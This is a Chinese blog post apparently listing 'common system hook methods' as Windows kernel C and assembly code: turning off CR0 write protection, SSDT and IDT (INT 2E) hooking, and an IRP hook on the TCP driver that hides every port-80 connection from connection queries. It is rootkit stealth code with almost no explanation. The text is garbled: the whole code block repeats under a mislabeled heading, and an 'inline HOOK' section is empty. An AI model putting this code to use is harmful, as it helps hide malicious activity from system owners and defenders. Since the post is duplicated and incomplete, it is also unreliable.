常用的系统HOOK方法
2013-05-04 21:40
274 查看
1.HOOK SSDT表
// UN-protect memory
__asm
{
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
}
// do something
// RE-protect memory
__asm
{
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
}
// Declarations
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// Code
// save old system call locations
// Map the memory into our domain to change the permissions on // the MDL
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change the flags of the MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \
InterlockedExchange((PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
2.HOOK IDT表
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase;
WORD HiIDTbase;
} IDTINFO;
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))
<< 16))
#pragma pack(1)
typedef struct
{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset;
} IDTENTRY;
#pragma pack()
DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler
#define NT_SYSTEM_SERVICE_INT 0x2e
int HookInterrupts()
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__asm{
sidt idt_info;
}
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
KiRealSystemServiceISR_Ptr = // Save the real address of the
// handler.
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
/*******************************************************
* Note: we can patch ANY interrupt here;
* the sky is the limit
*******************************************************/
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // Mask Interrupts
lea eax,MyKiSystemService; // Load EAX with the address of
// hook
mov ebx, int2e_entry; // Address of INT 2E handler in
// table
mov [ebx],ax; // Overwrite real handler with
// the low
// 16 bits of the hook address.
shr eax,16
mov [ebx+6],ax; // Overwrite real handler with
// the high
// 16 bits of the hook address.
sti; // Enable Interrupts again.
}
return 0;
}
__declspec(naked) MyKiSystemService()
{
__asm{
pushad
pushfd
push fs
mov bx,0x30
mov fs,bx
push ds
push es
// Insert detection or prevention code here.
Finish:
pop es
pop ds
pop fs
popfd
popad
jmp KiRealSystemServiceISR_Ptr; // Call the real function
}
}
3.HOOK Irp例程
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString (&deviceTCPUnicodeString,
deviceTCPNameBuffer);
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,
FILE_READ_DATA, &pFile_tcp,
&pDev_tcp);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldIrpMjDeviceControl = pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
TDIObjectID *inputBuffer;
DWORD context;
// Get a pointer to the current location in the IRP. This is where
// the function codes and parameters are located.
irpStack = IoGetCurrentIrpStackLocation (Irp);
switch (irpStack->MajorFunction)
{
case IRP_MJ_DEVICE_CONTROL:
if ((irpStack->MinorFunction == 0) &&
(irpStack->Parameters.DeviceIoControl.IoControlCode
== IOCTL_TCP_QUERY_INFORMATION_EX))
{
ioTransferType =
irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
// Need to know the method to find input buffer
if (ioTransferType == METHOD_NEITHER)
{
inputBuffer = (TDIObjectID *)
irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
{
if ((inputBuffer->toi_id == 0x101) ||
(inputBuffer->toi_id == 0x102) ||
(inputBuffer->toi_id == 0x110))
{
// Call our completion routine if IRP succeeds.
// To do this, change the Control flags in the IRP.
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
// Save old completion routine if present
irpStack->Context =(PIO_COMPLETION_ROUTINE)
ExAllocatePool(NonPagedPool,
sizeof(REQINFO));
((PREQINFO)irpStack->Context)->
OldCompletion =
irpStack->CompletionRoutine;
((PREQINFO)irpStack->Context)->ReqType =
inputBuffer->toi_id;
// Setup our function to be called
// upon completion of the IRP
irpStack->CompletionRoutine =
(PIO_COMPLETION_ROUTINE) IoCompletionRoutine;
}
}
}
}
break;
default:
break;
}
// Call the original function
return OldIrpMjDeviceControl(DeviceObject, Irp);
}
typedef struct _REQINFO {
PIO_COMPLETION_ROUTINE OldCompletion;
unsigned long ReqType;
} REQINFO, *PREQINFO;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)
{
PVOID OutputBuffer;
DWORD NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
DWORD i;
// Connection status values:
// 0 = Invisible
// 1 = CLOSED
// 2 = LISTENING
// 3 = SYN_SENT
// 4 = SYN_RECEIVED
// 5 = ESTABLISHED
// 6 = FIN_WAIT_1
// 7 = FIN_WAIT_2
// 8 = CLOSE_WAIT
// 9 = CLOSING
// ...
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
if (((PREQINFO)Context)->ReqType == 0x101)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO101);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO101)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
ExFreePool(Context);
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
{
return (p_compRoutine)(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
4 inline HOOK
// UN-protect memory
__asm
{
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
}
// do something
// RE-protect memory
__asm
{
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
}
// Declarations
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// Code
// save old system call locations
// Map the memory into our domain to change the permissions on // the MDL
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change the flags of the MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \
InterlockedExchange((PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
2.HOOK IDT表
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase;
WORD HiIDTbase;
} IDTINFO;
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))
<< 16))
#pragma pack(1)
typedef struct
{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset;
} IDTENTRY;
#pragma pack()
DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler
#define NT_SYSTEM_SERVICE_INT 0x2e
int HookInterrupts()
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__asm{
sidt idt_info;
}
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
KiRealSystemServiceISR_Ptr = // Save the real address of the
// handler.
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
/*******************************************************
* Note: we can patch ANY interrupt here;
* the sky is the limit
*******************************************************/
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // Mask Interrupts
lea eax,MyKiSystemService; // Load EAX with the address of
// hook
mov ebx, int2e_entry; // Address of INT 2E handler in
// table
mov [ebx],ax; // Overwrite real handler with
// the low
// 16 bits of the hook address.
shr eax,16
mov [ebx+6],ax; // Overwrite real handler with
// the high
// 16 bits of the hook address.
sti; // Enable Interrupts again.
}
return 0;
}
__declspec(naked) MyKiSystemService()
{
__asm{
pushad
pushfd
push fs
mov bx,0x30
mov fs,bx
push ds
push es
// Insert detection or prevention code here.
Finish:
pop es
pop ds
pop fs
popfd
popad
jmp KiRealSystemServiceISR_Ptr; // Call the real function
}
}
3.HOOK Irp例程
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString (&deviceTCPUnicodeString,
deviceTCPNameBuffer);
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,
FILE_READ_DATA, &pFile_tcp,
&pDev_tcp);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldIrpMjDeviceControl = pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
TDIObjectID *inputBuffer;
DWORD context;
// Get a pointer to the current location in the IRP. This is where
// the function codes and parameters are located.
irpStack = IoGetCurrentIrpStackLocation (Irp);
switch (irpStack->MajorFunction)
{
case IRP_MJ_DEVICE_CONTROL:
if ((irpStack->MinorFunction == 0) &&
(irpStack->Parameters.DeviceIoControl.IoControlCode
== IOCTL_TCP_QUERY_INFORMATION_EX))
{
ioTransferType =
irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
// Need to know the method to find input buffer
if (ioTransferType == METHOD_NEITHER)
{
inputBuffer = (TDIObjectID *)
irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
{
if ((inputBuffer->toi_id == 0x101) ||
(inputBuffer->toi_id == 0x102) ||
(inputBuffer->toi_id == 0x110))
{
// Call our completion routine if IRP succeeds.
// To do this, change the Control flags in the IRP.
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
// Save old completion routine if present
irpStack->Context =(PIO_COMPLETION_ROUTINE)
ExAllocatePool(NonPagedPool,
sizeof(REQINFO));
((PREQINFO)irpStack->Context)->
OldCompletion =
irpStack->CompletionRoutine;
((PREQINFO)irpStack->Context)->ReqType =
inputBuffer->toi_id;
// Setup our function to be called
// upon completion of the IRP
irpStack->CompletionRoutine =
(PIO_COMPLETION_ROUTINE) IoCompletionRoutine;
}
}
}
}
break;
default:
break;
}
// Call the original function
return OldIrpMjDeviceControl(DeviceObject, Irp);
}
typedef struct _REQINFO {
PIO_COMPLETION_ROUTINE OldCompletion;
unsigned long ReqType;
} REQINFO, *PREQINFO;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)
{
PVOID OutputBuffer;
DWORD NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
DWORD i;
// Connection status values:
// 0 = Invisible
// 1 = CLOSED
// 2 = LISTENING
// 3 = SYN_SENT
// 4 = SYN_RECEIVED
// 5 = ESTABLISHED
// 6 = FIN_WAIT_1
// 7 = FIN_WAIT_2
// 8 = CLOSE_WAIT
// 9 = CLOSING
// ...
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
if (((PREQINFO)Context)->ReqType == 0x101)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO101);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO101)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
ExFreePool(Context);
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
{
return (p_compRoutine)(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
4 inline HOOK
相关文章推荐
- Android开发中常用的跳转系统自带界面方法
- Windows Gadget 开发常用的几个系统方法及设置
- Windows 2003系统日志查看方法及常用事件?
- Android系统篇之----免root实现Hook系统服务拦截方法
- nodeJs中系统模块的常用方法和自定义模块暴露
- Android开发中常用的跳转系统自带界面方法
- 简洁常用权限系统的设计与实现(一):构造权限菜单树的N(N>=4)种方法
- 在Linux系统环境下安装配置JDK常用方法
- win10系统隐藏最近使用的文件和常用文件夹方法图解
- Jboss设置Java系统变量常用方法
- 音频系统应用中的“POP”噪声以其常用解决方法
- 一些常用的系统解决方法
- Web系统的常用测试方法
- Android开发中常用的跳转系统自带界面方法
- VxWorks嵌入式系统几种常用的延时方法 分类: vxWorks 2014-03-14 08:45 279人阅读 评论(0) 收藏
- 病毒常用方法之移花接木---小小hook
- Web系统常用的功能测试方法
- YII 获取系统级请求参数的常用方法
- Windows Gadget 开发常用的几个系统方法及设置
- 关于入侵检测系统常用的几种检测方法